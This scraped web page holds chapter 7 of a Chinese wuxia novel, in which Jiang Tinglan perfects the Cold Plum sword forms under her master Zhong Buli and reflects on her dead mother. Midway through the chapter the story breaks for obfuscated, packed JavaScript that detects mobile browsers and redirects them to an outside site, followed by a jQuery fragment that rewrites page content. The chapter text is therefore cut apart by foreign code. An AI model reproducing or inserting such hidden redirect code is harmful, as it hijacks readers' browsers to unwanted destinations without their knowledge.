默认冷灰
24号文字
方正启体

7. 第 7 章

作者:熬夜写论文本书字数:K更新时间:
    【临江仙】


    滚滚长江东逝水,浪花淘尽英雄。


    是非成败转头空。


    青山依旧在,几度夕阳红。


    白发渔樵江渚上,惯看秋月春风。


    一壶浊酒喜相逢。


    古今多少事,都付笑谈中。


    一个月到了。


    江听澜把寒梅三弄都练熟了。


    寒梅一弄,踏雪寻梅。她会了。


    寒梅二弄,暗香浮动。她也会了。


    寒梅三弄,疏影横斜。她也会了。


    三招使出来,行云流水,一气呵成。梅枝在她手里,真的像活了一样,能点在梅花上不落,能让对手察觉不到杀气。


    她站在钟不离面前,把三招都使了一遍。


    收剑,看着他。


    “师父,我练完了。”


    钟不离点点头。


    “练完了。”


    江听澜等着他夸她。


    可钟不离只是看着她,看了很久,然后说:


    “丫头,你入门了吗?”


    江听澜愣住了。


    她想了想,说:


    “第一重,手中有剑,心中无剑。我……应该算入了?”


    钟不离摇摇头。


    “你没有。”


    江听澜的心一沉。


    “为什么?”


    钟不离走到梅林里,折了一根梅枝,递给她。


    “你再刺一剑给我看看。”


    江听澜接过梅枝,深吸一口气,对着面前的一株梅树,一剑刺出。


    梅枝点在梅花上,梅花晃了晃,没有落。


    完美的一剑。


    可钟不离还是摇头。


    “你再看看那朵花。”


    江听澜凑近看。


    那朵花,在她点过的地方,有一个淡淡的痕迹。不是伤口,只是有一点点被压过的痕迹。不仔细看,根本看不出来。


    可钟不离看出来了。


    “你知道你娘当年刺完一剑,那朵花是什么样的吗?”


    江听澜摇头。


    钟不离说:


    “什么都没有。就像没有刺过一样。”


    他看着她,目光复杂。


    “丫头,你这一剑,是练对了。可你太用力了。你每一剑都在想着‘要刺准’,想着‘要让花不落’。你想得太多,手就重了。手重了,花就有痕了。”


    江听澜低下头,看着那朵花,看着那个淡淡的痕迹。


    原来她还没入门。


    原来她还差得远。


    钟不离拍拍她的肩。


    “别灰心。你一个月能练到这个地步,已经很了不起了。你娘当年,也用了三个月才摸到门道。”


    他转身离开,走了几步,忽然停下。


    “丫头,你知道为什么叫‘寒梅剑法’吗?”


    江听澜抬起头。


    钟不离看着那些梅花,轻轻说:


    “因为梅花,是最不怕冷的。越冷,开得越好。你也一样。你经历的这些冷,不是白受的。它们会变成你的剑,你的心,你这个人。”


    他继续往前走。


    “接着练吧。什么时候你能让那朵花一点痕迹都没有,什么时候就算入门了。”


    那天夜里,下起了大雪。


    江听澜睡不着,一个人走出山洞。


    雪很大,一片一片地落下来,落在她肩上,落在她发间。她踩着积雪,慢慢走进梅林。


    月光从云层里透出来,照在雪地上,亮得刺眼。梅花在雪中瑟瑟地抖着,花瓣上落满了雪,分不清哪是花,哪是雪。


    她站在梅林里,望着这一切,忽然想起钟不离说的话。


    “你经历的这些冷,不是白受的。它们会变成你的剑,你的心,你这个人。”


    她闭上眼睛,深吸一口气。


    冷。


    真冷。


    可这种冷,她不讨厌。


    因为它真实。因为它让她清醒。因为它让她想起自己是谁,要做什么。


    她睁开眼,拔出腰间的秋水剑。


    剑身在月光下,如一泓秋水,冷冷的,亮亮的。


    她开始练剑。


    寒梅一弄,踏雪寻梅。


    寒梅二弄,暗香浮动。


    寒梅三弄,疏影横斜。


    一遍,两遍,三遍。


    雪越下越大,她的身影在雪中舞动,剑光闪烁,和雪花交织在一起。月光照在剑上,剑光映在雪上,雪落在梅花上,梅花在她剑尖颤动。


    她不知道练了多少遍。


    只知道渐渐地,她忘了自己在练剑。


    忘了要刺准,忘了要让花不落,忘了要藏杀气。只是那么自然地挥着剑,像呼吸,像走路,像雪落下。


    剑尖点在一朵梅花上。


    那梅花晃了晃,没有落。


    她停下来,凑近看。


    那个被点过的地方,什么都没有。没有痕迹,没有压痕,就像从来没有被碰过一样。


    她愣住了。


    然后她笑了。


    那笑容,淡淡的,像梅花初绽。


    师父,我好像……入门了。


    天亮的时候,雪停了。


    江听澜回到山洞,青棠已经起来了,正在烧火做饭。看见她进来,赶紧迎上来。


    “小姐!您怎么这么早?身上都是雪,快进来烤烤火!”


    江听澜任由她拉着,坐到火堆边。


    青棠一边给她拍身上的雪,一边絮叨:


    “小姐您也真是的,下这么大的雪,跑出去做什么?万一冻着了怎么办?奴婢给您煮碗姜汤,驱驱寒……”


    江听澜忽然握住她的手。


    青棠愣住了。


    “小姐?”


    江听澜看着她,轻轻说:


    “青棠,谢谢你。”


    青棠的脸一下子红了。


    “小姐您说什么呢……奴婢有什么好谢的……”


    江听澜没有解释。


    只是松开手,看着火堆,嘴角还挂着那淡淡的笑。


    青棠看着她的笑,忽然觉得,小姐好像哪里不一样了。


    说不上来。


    就是不一样了。


    她也不问,只是继续烧火,继续絮叨,继续做她的早饭。


    火光照着两个人的脸,一跳一跳的。


    洞外,雪后的梅林静静地立着,梅花开得正好。


    风吹过,花瓣簌簌地落。


    落在雪地上,落在梅枝上,落在每一个路过的清晨里。


    远处,钟不离依旧坐在那块大石头上,背对着她们,望着天边的云。


    雪停了。


    太阳从云层里钻出来,照在雪地上,亮得刺眼。


    江听澜端着碗,站在雪地里,忽然觉得,这个世界,好像也没那么冷。


    她低头看了看手里的碗。


    那是青棠刚熬好的粥,热气腾腾的,冒着白烟。


    她喝了一口。


    暖的。


    从嘴里,暖到心里。


    她抬起头,望着那一片梅林。


    梅花在阳光下,开得愈发灿烂。红的像火,白的像雪,粉的像霞。花瓣上的雪已经化了,留下晶莹的水珠,在阳光下闪闪发光。


    她忽然想起母亲说过的一句话:


    “梅花香自苦寒来。”


    那时候她不懂,只觉得这句话文绉绉的,听着好听。


    现在她懂了。


    苦寒,是真的苦。


    可香,也是真的香。


    她转过身,看着山洞里忙活的青棠,看着石头上打盹的钟不离,看着这一片雪谷梅林。


    这里,是她的家了。


    虽然破,虽然冷,虽然什么都没有。


    可这里是她的家。


    她笑了笑,端着碗,走回山洞。


    “青棠,再给我盛一碗。”


    “好嘞!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334261|199210||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    青棠欢快地答应着,又给她盛了一碗。


    江听澜接过来,坐在火堆边,慢慢喝着。


    钟不离不知什么时候醒了,走进来,也端了一碗粥,坐在她旁边。


    两个人就这么坐着,喝着粥,谁也没说话。


    过了很久,钟不离忽然开口:


    “丫头,你娘当年,也在这儿练过剑。”


    江听澜的手顿了顿。


    “就在那片梅林里。”钟不离望着洞外,“那时候她还年轻,比你现在还小几岁。也是冬天,也是下着雪。她一个人站在梅林里,从早练到晚,从晚练到早。”


    他喝了口粥,继续说:


    “老子那时候问她,丫头,你这么拼命做什么?她说,我要让那些看不起我的人看看,我江寒梅,不是好欺负的。”


    江听澜听着,眼眶有些发热。


    “后来呢?”


    “后来?”钟不离笑了笑,“后来她真的做到了。寒梅剑法,名震江湖。谁见了她,都得叫一声‘江女侠’。”


    他顿了顿,声音低了下去。


    “再后来,她嫁了人,生了孩子,就不再练剑了。江湖上的人,渐渐忘了她。连老子,也差点忘了她。”


    江听澜沉默着。


    她知道母亲为什么不再练剑。


    因为那个男人,不喜欢她练剑。


    因为那个女人,说她“江湖习气,不配做尚书府的夫人”。


    因为那些人,用软刀子,一刀一刀,把她逼成了另一个人。


    可她最后还是死了。


    死在那个她委曲求全了一辈子的地方。


    死在那个男人冷漠的眼神里。


    死在那个女人得意的笑容里。


    江听澜握紧了手里的碗。


    “师父。”


    “嗯?”


    “我不会像娘那样。”


    钟不离看着她。


    “我会一直练下去。”江听澜说,


    “练到那些人,再也不敢欺负我。练到那些人,见了我的剑,就得绕着走。”


    钟不离看了她很久。


    然后他笑了。


    “好。这才像老子的徒弟。”


    他站起来,拍拍身上的灰。


    “今天休息一天。明天开始,老子教你真正的剑法。”


    江听澜抬起头。


    “真正的剑法?”


    “对。”钟不离走到洞口,回头看着她,“寒梅三弄,只是入门。真正的剑法,还在后头。”


    他大步走了出去。


    江听澜望着他的背影,忽然觉得,这个糟老头子,好像也没那么糟。


    青棠凑过来,小声问:


    “小姐,明天还要练啊?”


    江听澜点点头。


    “那奴婢明天多做点饭。”青棠认真地说,“练剑费力气,得多吃。”


    江听澜看着她,忍不住笑了。


    “好。”


    那天下午,江听澜没有练剑。


    她躺在山洞口的干草上,晒着太阳,看着天上的云。


    云很白,天很蓝,太阳很暖。


    青棠在旁边缝衣服,一边缝一边哼着小曲。那曲子很好听,软软的,糯糯的,像是江南的水乡小调。


    江听澜听着听着,有些困了。


    她闭上眼睛,迷迷糊糊地,好像又看见了母亲。


    母亲站在梅林里,对着她笑。


    那笑容,和梦里的一样,和记忆里的一样。


    娘。


    女儿会好好的。


    女儿会一直练下去。


    女儿会让那些人看看,您的女儿,不是好欺负的。


    母亲的笑容,更深了。


    然后,她消失在梅林里。


    江听澜睁开眼。


    太阳还挂在天上,云还在飘,青棠还在哼着小曲。


    她笑了笑,又闭上眼睛。


    这一觉,睡得格外安稳。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)